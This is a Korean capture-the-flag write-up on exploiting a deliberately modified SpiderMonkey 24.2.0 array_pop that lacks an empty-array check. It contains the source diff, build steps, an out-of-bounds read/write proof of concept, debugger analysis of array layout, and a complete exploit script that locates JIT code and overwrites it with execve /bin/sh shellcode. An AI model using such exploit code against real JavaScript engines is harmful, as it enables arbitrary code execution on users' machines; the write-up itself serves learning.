Contents
Environment configuration
Vulnability analysis
PoC
Analysis
Exploit
Environment configuration
일단 문제에서 주어지는 파일은 다음(,)과 같다. jsarray.cpp를 확인해보면, mozilla
등의 문자열을 확인할 수 있으며, 이를 통하여 mozilla
재단에서 관리하는 SpiderMonkey
엔진의 코드를 일부 수정한 것임을 추측할 수 있다.
파일도 받았으니 환경설정을 진행해보자. bash에서 아래와 같은 명령어를 입력하면 된다.
일단 의존 패키지부터 다운받아보자.
sudo apt-get install python-pip gcc make g++ perl python autoconf -y
그 다음은 mozilla spidermonkey
를 다운 할 차례이다.
mkdir mozilla
cd mozilla
wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2
tar xjf mozjs-24.2.0.tar.bz2
이렇게 명령어를 입력하게 되면 mozilla 24.2.0
을 다운받을 수 있다. 모질라 폴더 안에는 javascript
구현의 코드 등을 확인 할 수 있다.
이렇게 코드를 다운받은 이유는 바로 문제에서 주어진 jsarray.cpp
파일과 /mozjs-24.2.0/js/src/jsarray.cpp
파일을 비교하기 위해서이다. 두 파일을 diff
해서 어떠한 부분이 달라졌는지 분석을 진행해보자.
Vulnability analysis
juntae@ubuntu:~/browser/jsworld/mozilla$ diff ./jsarray.cpp ./mozjs-24.2.0/js/src/jsarray.cpp
1947c1947,1950
<
---
> if (index == 0) {
> /* Step 4b. */
> args.rval().setUndefined();
> } else {
1959c1962
<
---
> }
1964c1967
< if (obj->isNative())
---
> if (obj->isNative() && obj->getDenseInitializedLength() > index)
아래 obj->isNative()
부분은 달라진게 확연하게 차이가 나지만 솔직히 index
부분에는 무슨 차이점이 있는지 잘 구별이 가지 않았다. 그래서 원본 코드를 직접 확인해보았다.
juntae@ubuntu:~/browser/jsworld/mozilla$ cat --number ./mozjs-24.2.0/js/src/jsarray.cpp | grep "index == 0"
111 if (index == 0 && s != end)
1947 if (index == 0) {
위와같은 명령어로 어디 부분에서 index
를 처리하는지 파악할 수 있었고, 해당 라인으로 가서 자세히 확인해보았다.
Before patch
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
CallArgs args = CallArgsFromVp(argc, vp);
/* Step 1. */
RootedObject obj(cx, ToObject(cx, args.thisv()));
if (!obj)
return false;
/* Steps 2-3. */
uint32_t index;
if (!GetLengthProperty(cx, obj, &index))
return false;
/* Steps 4-5. */
if (index == 0) {
/* Step 4b. */
args.rval().setUndefined();
} else {
/* Step 5a. */
index--;
/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;
/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
}
해당 함수는 js::array_pop
으로, javascript
에서 배열을 pop
할때를 처리해주는 부분이였다. index
가 0일때를 중점적으로 보면, args.rval().setUndefined();
를 실행하고, 아무 동작도 하지 않은체 프로그램이 중단된다.
만약, index
가 0이 아니라면, pop
을 수행하며 index
가 감소된다.
After patch
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
CallArgs args = CallArgsFromVp(argc, vp);
/* Step 1. */
RootedObject obj(cx, ToObject(cx, args.thisv()));
if (!obj)
return false;
/* Steps 2-3. */
uint32_t index;
if (!GetLengthProperty(cx, obj, &index))
return false;
/* Steps 4-5. */
/* Step 5a. */
index--;
/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;
/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
step 4.5
의 if (index == 0) {
부분이 사라진 것을 확인할 수 있다. index
가 0일때의 예외 처리를 해주지 않아서 Out Of Boundary
가 발생한다는 것을 추측할 수 있다. 이제 이를 활용하여 exploit
을 작성하기 위해 바이너리를 빌드하고 직접 PoC
를 작성해보자.
이제 mozjs-24.2.0/js/src/jsarray.cpp
를 문제에서 주어진 파일로 수정 한 후에, build
를 진행하자.
rm ./mozjs-24.2.0/js/src/jsarray.cpp
cp ./jsarray.cpp ./mozjs-24.2.0/js/src/jsarray.cpp
mkdir build
cd build
../mozjs-24.2.0/js/src/configure
make
configure
과정은 해당 디바이스에 필요한 패키지가 있는지 검사하는 과정이다. 만약 패키지가 존재하지않으면 설치해주며 build
폴더를 정리해 준 후, 다시 configure
한다.
make[2]: Leaving directory '/home/juntae/browser/jsworld/mozilla/build/gdb'
make[1]: Leaving directory '/home/juntae/browser/jsworld/mozilla/build'
if test -d dist/bin ; then touch dist/bin/.purgecaches ; fi
juntae@ubuntu:~/browser/jsworld/mozilla/build$
빌드 끝!
빌드가 끝났으면 /build/shell/js
파일이 생기고, 이 파일을 실행시키면 js 쉘이 실행된다. 또한, 이 바이너리는 /build/js
파일(Symbolic link)로도 존재한다.
PoC
간단하게 PoC
코드를 작성해보자. 참고로 나는 js
코드를 태어나서 처음 작성해본다.
a = [1,2]
b = [3,4]
for(var i = 0; i < 3; i++)
a.pop()
print("length : " + a.length)
for(var i = 0; i < 10; i++)
print(a[i])
일단 배열 a, 배열 b 2개를 만들어주고 pop
을 해서 OOB
를 트리거 해보았다.
작성한 익스플로잇 코드는 ./build/js ex.js
이런식으로 실행할 수 있다.
juntae@ubuntu:~/browser/jsworld/mozilla$ ./build/js ex.js
length : 4294967295
undefined
undefined
6.92581593300675e-310
6.9258159285835e-310
0
6.92581593274233e-310
4.243991582e-314
4.243991583e-314
3
4
일단 length
가 429496795(0xffffffff)가 나온 이유에 대해서 살펴보면, array a의 사이즈가 pop을 3번 거치며 2 -> 1 -> 0 -> -1 으로 변하게 된다. 따라서 length 또한 0xffffffff가 나오게 된다. 즉, 배열중 원하는 인덱스로 접근해서 데이터를 읽고 쓸 수 있는 것이다.
undefinded
는 원래 배열의 요소인 1,2가 pop되었기 때문에 출력되는 값이다.
아래 이상한 소수는 메모리 영역의 값일 것 이라고 추측할 수 있고, 그 아래 3,4는 array b의 요소임을 추측할 수 있다.
자, 이제 이상한 소수같은걸 우리가 알아볼 수 있는 값으로 바꾸는 작업이 필요하다. pwntools
에서 p64()
,u64()
를 했던것 처럼 말이다.
기본적으로 spider monkey
에서는 jsValue
를 double
형(8bytes)으로 표현한다. 따라서, double
을 int
형(4bytes)으로, int
를 double
로 변환하는 과정이 필요하다.
function dtoi(data)
{
var buffer = ArrayBuffer(8);
var floatArray = new Float64Array(buffer);
var bytes = Uint8Array(buffer,0,8);
floatArray[0] = data
tmp = "";
for(var i = 0; i < bytes.length; i++)
tmp += ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)
var value = parseInt(tmp,16)
return value
}
var buffer = ArrayBuffer(8);
: 8바이트 buffer
할당
var floatArray = new Float64Array(buffer);
: 8바이트 float array
할당 - 데이터는 buffer
라는 변수에 들어가게 됨
var bytes = Uint8Array(buffer,0,8);
: 8바이트짜리 array
할당 - 데이터는 buffer
라는 변수에 들어가게됨
만약 data를 6.94933744374434e-310
라고 하면..
floatArray[0] = data
: floatArray
에 data(6.94933744374434e-310)
가 들어감.
현재 byte
에는 각각 값이 들어가있는 상태이며 이를 ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)
를 통하여 파싱하여 16진수 문자열 꼴로 만든다.
6.94933744374434e-310 -> 00007fed10331820 -> 0x7fed10331820
최종적으로는 만든 문자열을 int
형으로 변환해준다.
function itod(data)
{
var buffer = new ArrayBuffer(8);
var f = new Float64Array(buffer);
var bytes = Uint8Array(buffer);
var res = [];
var hexed = ("0000000000000000" + data.toString(16)).substr(-16);
for (var i = 0; i < 16; i+=2)
res.push(parseInt(hexed.substr(i, 2), 16));
bytes.set(res.reverse());
return f[0];
}
이런식으로 int to double
도 만들 수 있다!
juntae@ubuntu:~/browser/jsworld/mozilla$ ./jsworld ex.js
length : 0xffffffff
0x7ff8000000000000
0x7ff8000000000000
0x7fdf17746358
0x7fdf17731820
0x0
0x7fdf17742f70
0x200000000
0x200000002
0x4008000000000000
0x4010000000000000
이제 깔끔하게 출력되는 모습이다.
Analysis
일단 익스를 위해서는 자바스크립트의 array
객체에 대해서 알아야하는데.. 아래와 같은 코드를 작성 한 후 디버깅을 시작해보자.
a = [0x41414141, 0x42424242, 0x43434343]
a.length = 0xdeadbeef
Math.atan(a)
Math.atan
은 디버깅을 위해서 주로 사용되는 함수라고 한다.
참고로 Math.atan은 탄젠트를 적용했을 때 지정된 숫자가 나오는 각도를 반환한다고 한다.
일단 gdb
로 jsworld
를 열어주고, js::math_atan
함수에 bp
를 걸고 r debug.js
와 같이 실행한다.
근데 jsworld
를 인자로 줬더니 잘 안된다. 그래서 build
디렉토리 아래에 있는 build/js
를 gdb로 실행해야 정상적으로 디버깅을 진행할 수 있다.
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /home/juntae/browser/jsworld/mozilla/mozjs-24.2.0/js/src/jsmath.cpp
202 return cache->lookup(atan, x);
203 }
204
205 JSBool
206 js::math_atan(JSContext *cx, unsigned argc, Value *vp)
► 207 {
208 CallArgs args = CallArgsFromVp(argc, vp);
209
210 if (args.length() == 0) {
211 args.rval().setDouble(js_NaN);
212 return true;
gdb로 보면 이런식으로 나오는데, 여기서 3번째 인자가 우리의 배열 a
이다.
pwndbg> x/4gx $rdx
0xbc8c98: 0xfffbfffff6146180 0xfffbfffff6136080
0xbc8ca8: 0xfffbfffff6144ac0 0xfffbfffff6125fd0
근데 여기서 보면 값이 조금 이상하게나온다. 원래 64bit에서는 주소를 6바이트로 표현하는데 js
에서는 조금 다르다. 2.5바이트는 Type
을 의미하고, 하위 5.5바이트가 Value
를 의미한다고 한다.
따라서, ff ff f6 14 61 80
에서 앞에 ff
를 7f
로 바꿔서 생각하면 된다. 우리가 잘 알고있듯이 주소는 0x7f
로 시작하기 때문이다.
이중 3번째 주소 0xfffbfffff6144ac0
를 위에서 설명한 방법으로 바꾼 후 확인해보면 아래와 같다.
0x7ffff6144ac0: 0x00007ffff61475d8 0x00007ffff6131820
0x7ffff6144ad0: 0x0000000000000000 0x00007ffff6144af0
0x7ffff6144ae0: 0x0000000300000000 0xdeadbeef00000006
0x7ffff6144af0: 0xfff8800041414141 0xfff8800042424242
0x7ffff6144b00: 0xfff8800043434343 0x0000000000000000
0x00007ffff6144af0
: 배열 안에 들어있는 데이터의 시작점(현재 AAAA를 가르키고 있음)
0x0000000300000000
: C++
로 할당된 js
배열의 크기
0xdeadbeef00000006
: Javascript
에서 할당한 가상 배열의 크기
사실 여기서 Javascript의 가상 배열의 크기를 바꾸면 oob가 트리거 되지 않는다. 즉, C++배열의 크기를 바꿔줘야 하는데, pop을 하게 되면 C++배열의 length또한 같이 바뀌기 때문에 이를 통해서 취약점을 트리거 할 수 있다.
0xfff8800041414141
: 배열의 첫번째 인덱스의 데이터
0xfff8800042424242
: 배열의 두번째 인덱스의 데이터
0xfff8800043434343
: 배열의 세번째 인덱스의 데이터
또한 익스를 진행하기 전에, JIT
에 대해서 간단하게 설명해보겠다.
JIT
은 자주 사용하는 코드를 미리 바이트 코드로 만들어놓고, 메모리에 올려서 실행하는 것을 말한다. 이때, 메모리에 실행권한이 모든 권한이 부여된다. 따라서 해당 주소를 쉘코드로 overwrite한다면, 쉘코드를 실행할 수 있다.
JIT코드가 트리거 될때는 mozjs-24.2.0/js/src/jit/BaselineJIT.cpp
의 Enterbase
함수가 실행된다. 따라서 mozjs-24.2.0/js/src/jit/BaselineJIT.cpp
파일의 EnterBase
함수를 수정하면 된다.
79 EnterBaseline(JSContext *cx, EnterJitData &data)
80 {
81 JS_CHECK_RECURSION(cx, return IonExec_Aborted);
82 JS_ASSERT(jit::IsBaselineEnabled(cx));
83 JS_ASSERT_IF(data.osrFrame, CheckFrame(data.osrFrame));
84
85 EnterIonCode enter = cx->compartment()->ionCompartment()->enterBaselineJIT();
86
87 // Caller must construct |this| before invoking the Ion function.
88 JS_ASSERT_IF(data.constructing, data.maxArgv[0].isObject());
89
90 data.result.setInt32(data.numActualArgs);
91 {
92 AssertCompartmentUnchanged pcc(cx);
93 IonContext ictx(cx, NULL);
94 JitActivation activation(cx, data.constructing);
95 JSAutoResolveFlags rf(cx, RESOLVE_INFER);
96 AutoFlushInhibitor afi(cx->compartment()->ionCompartment());
97
98 if (data.osrFrame)
99 data.osrFrame->setRunningInJit();
100
101 JS_ASSERT_IF(data.osrFrame, !IsJSDEnabled(cx));
102
103 // Single transition point from Interpreter to Baseline.
104
105 printf("JIT: %p\n", data.jitcode);
106
107 enter(data.jitcode, data.maxArgc, data.maxArgv, data.osrFrame, data.calleeToken,
108 data.scopeChain, data.osrNumStackValues, data.result.address());
109
110 if (data.osrFrame)
111 data.osrFrame->clearRunningInJit();
112 }
대충 요런식으로 말이다. printf("JIT: %p\n", data.jitcode);
를 추가했다.
수정한 후 다시 make를 해주면 된다.
function shell()
{
print("Hello, world!")
}
a = [1,2]
b = [3,4]
for(let i = 0; i < 3; i++)
a.pop()
print("length : " + hex(a.length))
for(let i = 0; i < 20; i++)
shell()
Math.atan(a)
위와같은 코드를 다시 짜서 돌려보았다.
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7ffff7ff3661
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7ffff7ff3a00
Hello, world!
JIT: 0x7ffff7ff3a00
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
첫번째 JIT
말고 두번째, 세번째 JIT
코드를 보면 일치하는것을 알 수있다. 해당부분의 주소가 shell
함수의 JIT
주소임을 추측할 수 있다.
Exploit
이제 익스를 해보자! 일단 현재 익스 계획은 아래와 같다.
배열 a,b를 만듬
pop
으로OOB
를 트리거해서 배열의length
을0xffffffff
으로 만듬.두번째 배열의 위치 확인
두번째 배열의 주소를
JIT
코드가 있는 주소로overwrite
두번째 배열에
payload
삽입
일단 배열의 주소는 위에서도 봤듯이 데이터가 시작하기 "전전전"에 있다. 디버깅해서 확인해보면 5번째 인덱스에 위치한다. 해당주소를 JIT
코드로 덮으면 된다.
pwndbg> search -t qword 0x7ffff7ff3a00
0x7ffff6138330 0x7ffff7ff3a00
0x7ffff6138338 0x7ffff7ff3a00
0x7ffff614b340 0x7ffff7ff3a00
JIT
코드가 존재하는 주소를 찾아보았는데, 앞에 두개는 배열 이전이고, 마지막 주소가 배열 이후이다. 근데 배열과 거리가 좀 먼것을 볼 수 있는데, 코드를 짜서 해결하면 된다.
일단 JIT
코드의 16바이트 앞에 0x0000015000000161
이라는 값이 있는데, 이걸 기준으로 JIT
코드를 찾으면 된다.
그다음은 쉘코드를 넣으면 되는데, 문제는 자바스크립트에는 8바이트짜리 int라는게 존재하지 않는다. 8바이트짜리 자료형은 오직 실수만 존재한다는 것.
그래서 쉘코드를 4바이트씩 끈어서 적어야한다..
function dtoi(data)
{
var buffer = ArrayBuffer(8);
var floatArray = new Float64Array(buffer);
var bytes = Uint8Array(buffer,0,8);
floatArray[0] = data
tmp = "";
for(var i = 0; i < bytes.length; i++)
tmp += ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)
var value = parseInt(tmp,16)
return value
}
function itod(data)
{
var buffer = new ArrayBuffer(8);
var f = new Float64Array(buffer);
var bytes = Uint8Array(buffer);
var res = [];
var hexed = ("0000000000000000" + data.toString(16)).substr(-16);
for (var i = 0; i < 16; i+=2)
res.push(parseInt(hexed.substr(i, 2), 16));
bytes.set(res.reverse());
return f[0];
}
function hex(data)
{
var value = "0x" + data.toString(16);
return value
}
function shell()
{
print("Hello, world!")
}
a = [1,2]
b = [3,4]
for(let i = 0; i < 3; i++)
a.pop()
print("length : " + hex(a.length))
for(let i = 0; i < 12; i++)
shell()
var offset = 5
var jit = undefined
for(let i = 0; i < 1000000; i++)
{
if(dtoi(a[i]) == parseInt("0x0000015000000161",16))
{
jit = i - 2
break
}
}
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
for (var i = 0; i < shellcode.length % 4; i++)
shellcode += "\x90"
for (var i = 0; i < (shellcode.length / 4); i++)
{
s = shellcode.substr(i*4, (i*4)+4)
r = s[3].charCodeAt() * 0x01000000
r += s[2].charCodeAt() * 0x00010000
r += s[1].charCodeAt() * 0x00000100
r += s[0].charCodeAt() * 0x00000001
a[offset] = itod(dtoi(a[jit]) + 4 * i);
b[0] = itod(r)
}
shell()
자바스크립트로 익스를 짜는 날이 다오네요 ㅎㅎ..
shellcode.substr(A,B)
: A에서 B까지 반환
charCodeAt()
: 해당 문자 유니코드로 반환
juntae@ubuntu:~/browser/jsworld/mozilla$ ./build/js ex.js
length : 0xffffffff
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7f44d883f7e5
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7f44d8840940
Hello, world!
JIT: 0x7f44d8840940
Hello, world!
JIT: 0x7f44d8841208
JIT: 0x7f44d8841208
JIT: 0x7f44d8823248
JIT: 0x7f44d8823248
JIT: 0x7f44d8823248
JIT: 0x7f44d8840940
$
처음으로 해본 JS exploit.. 다음에는 다른 문제를 들고와 보겠습니당